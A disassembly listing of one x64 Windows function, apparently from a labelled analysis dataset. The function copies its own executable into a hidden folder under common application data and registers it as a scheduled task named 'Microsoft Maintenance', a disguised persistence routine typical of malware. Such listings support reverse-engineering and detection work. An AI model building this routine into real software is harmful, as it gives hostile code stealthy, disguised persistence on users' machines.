Function at 0x140011410
Capabilities:
Copy file
Create directory
Get common file path
Set file attributes

Disassembly:
jmp 0x140011410
push rsi
push rdi
sub rsp, 0xd08
lea rdi, [rsp + 0x50]
mov ecx, 0x32e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0xcf8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x14001145c
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x1400114b4
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
lea rax, str.Microsoft_Maintenance
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [0x1401b1a48]
mov r8d, 1
xor edx, edx
lea rcx, [0x1401b1cb8]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x14001150a
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0xb60], rax
lea rcx, [rsp + 0x708]
call fcn.1400022a7
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0xb70], rax
lea rax, [rsp + 0x6f0]
mov rdi, rax
mov rsi, qword [rsp + 0xb70]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x828]
lea rcx, [rsp + 0x6f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x888]
lea rcx, [rsp + 0x828]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x8b8]
lea rcx, [rsp + 0x888]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x918]
lea rcx, [rsp + 0x8b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x738]
call fcn.1400022a7
mov qword [rsp + 0xb78], rax
mov rax, qword [rsp + 0xb78]
mov qword [rsp + 0xb80], rax
lea rax, [rsp + 0x720]
mov rdi, rax
mov rsi, qword [rsp + 0xb80]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x7f8]
lea rcx, [rsp + 0x720]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x858]
lea rcx, [rsp + 0x7f8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x8a0]
lea rcx, [rsp + 0x858]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x900]
lea rcx, [rsp + 0x8a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x768]
call fcn.1400022a7
mov qword [rsp + 0xb88], rax
mov rax, qword [rsp + 0xb88]
mov qword [rsp + 0xb90], rax
lea rax, [rsp + 0x750]
mov rdi, rax
mov rsi, qword [rsp + 0xb90]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x7c8]
lea rcx, [rsp + 0x750]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x840]
lea rcx, [rsp + 0x7c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x870]
lea rcx, [rsp + 0x840]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x8e8]
lea rcx, [rsp + 0x870]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x798]
call fcn.1400022a7
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0xba0], rax
lea rax, [rsp + 0x780]
mov rdi, rax
mov rsi, qword [rsp + 0xba0]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x7b0]
lea rcx, [rsp + 0x780]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x7e0]
lea rcx, [rsp + 0x7b0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x810]
lea rcx, [rsp + 0x7e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x8d0]
lea rcx, [rsp + 0x810]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xae0]
lea rcx, [rsp + 0x918]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xac0]
lea rcx, [rsp + 0x900]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xaa0]
lea rcx, [rsp + 0x8e8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa80]
lea rcx, [rsp + 0x8d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xae0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xac0]
lea r8, [rsp + 0xaa0]
lea rdx, [rsp + 0xa80]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xb60]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x798]
call fcn.140004de5
nop
lea rcx, [rsp + 0x768]
call fcn.140004de5
nop
lea rcx, [rsp + 0x738]
call fcn.140004de5
nop
lea rcx, [rsp + 0x708]
call fcn.140004de5
cmp dword [rsp + 0x50], 0
jge 0x1400118f1
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x88], 0
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0xba8], rax
lea rdx, [0x1401a78d4]
lea rcx, [rsp + 0x930]
call fcn.140005d12
mov qword [rsp + 0xbb0], rax
mov rax, qword [rsp + 0xbb0]
mov qword [rsp + 0xbb8], rax
mov rcx, qword [rsp + 0xbb8]
call fcn.140006492
mov qword [rsp + 0xbc0], rax
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0xbc0]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xba8]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x930]
call fcn.14000584e
cmp dword [rsp + 0x50], 0
jge 0x1400119a6
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rax, qword [rax + 0x78]
mov qword [rsp + 0xbc8], rax
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x938]
call fcn.140005d12
mov qword [rsp + 0xbd0], rax
mov rax, qword [rsp + 0xbd0]
mov qword [rsp + 0xbd8], rax
mov rcx, qword [rsp + 0xbd8]
call fcn.140006492
mov qword [rsp + 0xbe0], rax
xor r8d, r8d
mov rdx, qword [rsp + 0xbe0]
mov rcx, qword [rsp + 0x88]
call qword [rsp + 0xbc8]
nop
lea rcx, [rsp + 0x938]
call fcn.14000584e
mov qword [rsp + 0xa8], 0
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rax, qword [rax + 0x48]
mov qword [rsp + 0xbe8], rax
lea r8, [rsp + 0xa8]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xbe8]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x140011a9b
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0xc8], 0
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0xbf0], rax
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0xa8]
call qword [rsp + 0xbf0]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140011b1c
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0xbf8], rax
lea rdx, [0x1401a7cb0]
lea rcx, [rsp + 0x940]
call fcn.140004188
mov qword [rsp + 0xc00], rax
mov rax, qword [rsp + 0xc00]
mov qword [rsp + 0xc08], rax
mov rcx, qword [rsp + 0xc08]
call fcn.140006492
mov qword [rsp + 0xc10], rax
mov rdx, qword [rsp + 0xc10]
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0xbf8]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x940]
call fcn.14000584e
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x140011bf5
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0xe8], 0
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rax, qword [rax + 0x58]
mov qword [rsp + 0xc18], rax
lea rdx, [rsp + 0xe8]
mov rcx, qword [rsp + 0xa8]
call qword [rsp + 0xc18]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140011c76
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov rax, qword [rsp + 0xe8]
mov rax, qword [rax]
mov rax, qword [rax + 0x130]
mov qword [rsp + 0xc20], rax
mov dx, 0xffff
mov rcx, qword [rsp + 0xe8]
call qword [rsp + 0xc20]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140011d00
mov rax, qword [rsp + 0xe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x108], 0
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rax, qword [rax + 0x78]
mov qword [rsp + 0xc28], rax
lea rdx, [rsp + 0x108]
mov rcx, qword [rsp + 0xa8]
call qword [rsp + 0xc28]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140011d7e
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
jmp 0x1400127e7
mov rax, qword [rsp + 0x108]
mov rax, qword [rax]
mov rax, qword [rax + 0x90]
mov qword [rsp + 0xc30], rax
mov edx, 1
mov rcx, qword [rsp + 0x108]
call qword [rsp + 0xc30]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x108]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xe8]
mov rax, qword [rax]
mov rax, qword [rax + 0xb0]
mov qword [rsp + 0xc38], rax
mov dx, 0xffff
mov rcx, qword [rsp + 0xe8]
call qword [rsp + 0xc38]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0xe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe8]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x140011e50
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x128], 0
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rax, qword [rax + 0x48]
mov qword [rsp + 0xc40], rax
lea rdx, [rsp + 0x128]
mov rcx, qword [rsp + 0xa8]
call qword [rsp + 0xc40]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140011ed1
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x148], 0
mov rax, qword [rsp + 0x128]
mov rax, qword [rax]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0xc48], rax
lea r8, [rsp + 0x148]
mov edx, 8
mov rcx, qword [rsp + 0x128]
call qword [rsp + 0xc48]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x128]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x140011f6d
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x168], 0
mov rax, qword [rsp + 0x148]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0xc50], rax
lea r8, [rsp + 0x168]
lea rdx, [0x1401b1bf8]
mov rcx, qword [rsp + 0x148]
call qword [rsp + 0xc50]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x148]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x14001200a
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov rax, qword [rsp + 0x168]
mov rax, qword [rax]
mov rax, qword [rax + 0x48]
mov qword [rsp + 0xc58], rax
lea rdx, [0x1401a7cc8]
lea rcx, [rsp + 0x948]
call fcn.140005d12
mov qword [rsp + 0xc60], rax
mov rax, qword [rsp + 0xc60]
mov qword [rsp + 0xc68], rax
mov rcx, qword [rsp + 0xc68]
call fcn.140006492
mov qword [rsp + 0xc70], rax
mov rdx, qword [rsp + 0xc70]
mov rcx, qword [rsp + 0x168]
call qword [rsp + 0xc58]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x948]
call fcn.14000584e
mov qword [rsp + 0x188], 0
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rax, qword [rax + 0x88]
mov qword [rsp + 0xc78], rax
lea rdx, [rsp + 0x188]
mov rcx, qword [rsp + 0xa8]
call qword [rsp + 0xc78]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x14001210e
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x1a8], 0
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0xc80], rax
lea r8, [rsp + 0x1a8]
xor edx, edx
mov rcx, qword [rsp + 0x188]
call qword [rsp + 0xc80]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x188]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x1400121a7
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x1c8], 0
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0xc88], rax
lea r8, [rsp + 0x1c8]
lea rdx, str.MbLk
mov rcx, qword [rsp + 0x1a8]
call qword [rsp + 0xc88]
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a8]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x140012244
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov r8d, 0x104
lea rdx, [rsp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x420]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x23
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [0x1401a7ce0]
lea rcx, [rsp + 0x420]
call fcn.140002dce
xor edx, edx
lea rcx, [rsp + 0x420]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400122af
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x634], eax
mov edx, 2
lea rcx, [rsp + 0x420]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dx, 0x5c
lea rcx, [rsp + 0x1f0]
call fcn.14000102d
mov qword [rsp + 0x638], rax
lea rcx, [rsp + 0x420]
call fcn.140001582
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x640]
movzx eax, word [rsp + rax*2 + 0x41e]
cmp eax, 0x5c
je 0x140012319
lea rdx, [0x1401a7904]
lea rcx, [rsp + 0x420]
call fcn.140002dce
lea rdx, [0x1401a7d08]
lea rcx, [rsp + 0x420]
call fcn.140002dce
xor r8d, r8d
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x1400123ab
lea rax, [rsp + 0x658]
mov rdi, rax
xor eax, eax
mov ecx, 0x38
rep stosb byte [rdi], al
mov dword [rsp + 0x660], 2
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x668], rax
lea rax, [rsp + 0x420]
mov qword [rsp + 0x670], rax
mov eax, 0x14
mov word [rsp + 0x678], ax
lea rcx, [rsp + 0x658]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x694], eax
mov rax, qword [rsp + 0x1c8]
mov rax, qword [rax]
mov rax, qword [rax + 0x58]
mov qword [rsp + 0xc90], rax
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x950]
call fcn.140005d12
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0xca0], rax
mov rcx, qword [rsp + 0xca0]
call fcn.140006492
mov qword [rsp + 0xca8], rax
mov rdx, qword [rsp + 0xca8]
mov rcx, qword [rsp + 0x1c8]
call qword [rsp + 0xc90]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x950]
call fcn.14000584e
mov rax, qword [rsp + 0x1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1c8]
call qword [rax + 0x10]
cmp dword [rsp + 0x50], 0
jge 0x140012485
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov qword [rsp + 0x6a8], 0
xor eax, eax
mov word [rsp + 0x6c8], ax
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rax, qword [rax + 0x88]
mov qword [rsp + 0xcb0], rax
lea rdx, [0x1401a791c]
lea rcx, [rsp + 0x970]
call fcn.1400017e4
mov qword [rsp + 0xcb8], rax
mov rax, qword [rsp + 0xcb8]
mov qword [rsp + 0xcc0], rax
lea rax, [rsp + 0x958]
mov rdi, rax
mov rsi, qword [rsp + 0xcc0]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x9d8]
lea rcx, [rsp + 0x958]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa08]
lea rcx, [rsp + 0x9d8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa38]
lea rcx, [rsp + 0xa08]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa68]
lea rcx, [rsp + 0xa38]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rdx, [0x1401a7d30]
lea rcx, [rsp + 0x9a0]
call fcn.1400017e4
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0xcc8]
mov qword [rsp + 0xcd0], rax
lea rax, [rsp + 0x988]
mov rdi, rax
mov rsi, qword [rsp + 0xcd0]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x9c0]
lea rcx, [rsp + 0x988]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x9f0]
lea rcx, [rsp + 0x9c0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa20]
lea rcx, [rsp + 0x9f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa50]
lea rcx, [rsp + 0xa20]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xcd8], rax
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x9b8]
call fcn.140005d12
mov qword [rsp + 0xce0], rax
mov rax, qword [rsp + 0xce0]
mov qword [rsp + 0xce8], rax
mov rcx, qword [rsp + 0xce8]
call fcn.140006492
mov qword [rsp + 0xcf0], rax
lea rax, [rsp + 0xb40]
lea rcx, [rsp + 0xa68]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xb20]
lea rcx, [rsp + 0x6c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xb00]
lea rcx, [rsp + 0xa50]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x6a8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xb40]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0xb20]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xb00]
mov qword [rsp + 0x20], rax
mov r9d, 6
mov r8, qword [rsp + 0xcd8]
mov rdx, qword [rsp + 0xcf0]
mov rcx, qword [rsp + 0x88]
call qword [rsp + 0xcb0]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x9b8]
call fcn.14000584e
nop
lea rcx, [rsp + 0x9a0]
call fcn.140004de5
nop
lea rcx, [rsp + 0x970]
call fcn.140004de5
cmp dword [rsp + 0x50], 0
jge 0x14001279d
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x1400127e7
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x6a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a8]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401a8a60]
call fcn.14000565a
mov rax, rdi
mov rcx, qword [rsp + 0xcf8]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0xd08
pop rdi
pop rsi
ret